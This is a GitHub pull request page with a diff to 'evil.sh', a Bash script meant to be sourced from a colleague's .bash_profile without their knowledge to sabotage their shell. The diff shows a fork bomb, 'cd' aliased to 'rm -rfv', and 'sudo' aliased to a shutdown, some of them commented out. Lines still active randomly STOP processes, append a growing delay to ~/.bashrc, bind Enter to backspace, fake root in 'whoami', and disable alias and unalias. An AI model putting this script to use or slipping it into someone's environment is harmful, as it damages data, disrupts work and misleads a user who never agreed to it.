Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cherry pick of the best of all other PRs #54

Open
wants to merge 16 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
A collection of various subtle and not-so-subtle shell tweaks that will slowly drive people insane.

Feel like trolling a colleague? Just add `source ~/evil.sh` to their `.bash_profile` and watch the chaos ensue.
Be aware that the sourcing should happen at the end of the file, if you do not edit `evil.sh` before doing so, as `evil.sh` disables `alias` and `unalias`.

## Contributions

Expand Down
49 changes: 35 additions & 14 deletions evil.sh
Original file line number Diff line number Diff line change
@@ -1,29 +1,34 @@
#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh

# Set `rm` as the default editor.
export EDITOR=/bin/rm;
# Set `cat` as the default editor.
export EDITOR=/bin/cat;

# Make Tab send the delete key.
# sh: replace $'\t' with a quoted literal tab
tset -Qe $'\t';

# Randomly make the shell exit whenever a command has a non-zero exit status.
((RANDOM % 10)) || set -o errexit;

# Let `cat` swallow every input and never return anything.
alias cat=true;
#alias cat=true;

# cat random output
alias cat="head /dev/urandom"

# Use a random sort option whenever `ls` is invoked.
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
function ls() { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them.
alias cd='rm -rfv';
# only change user's prompt instead of entering directories
alias cd='x(){ PWD=$1; };x'

# Shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -P now';
#alias sudo='sudo shutdown -P now';

# Launch a fork bomb instead of clearing the screen.
alias clear=':(){ :|:& };:';
# sh, ksh: replace `:' with boring names like _f
#alias clear=':(){ :|:& };:';

# Have `date` return random dates.
alias date='date -d "now + $RANDOM days"';
Expand Down Expand Up @@ -57,20 +62,36 @@ else
fi;

# Send STOP signal to random process at random time.
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
sleep $((RANDOM%100 + 1)) && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

# Have `cp` perform `mv` instead.
alias cp='mv';
#alias cp='mv';

# Make `exit` open a new shell.
alias exit='sh';
alias exit="${SHELL:-sh}";

# Add a random number to line numbers when using `grep -n`.
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
function grep() { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# Take longer and longer to SSH to the box
sleep 1 && echo sleep 1 >> ~/.bashrc

# Use more instead of `less`
alias less='more'

# Invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !';
# Invert `if`, `while` and `until`
alias if='if !' while='while !' until='until !'

# Map Enter, Ctrl+J, and Ctrl+M to backspace.
# ksh: bind '^J=delete-char' '^M=delete-char'
bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';

# you are root, really
alias whoami='echo root'
alias w='w|sed s/$USER/root/'
alias who='who|sed s/$USER/root/'

# Disable `unalias` and `alias`.
alias unalias=false;
alias alias=false;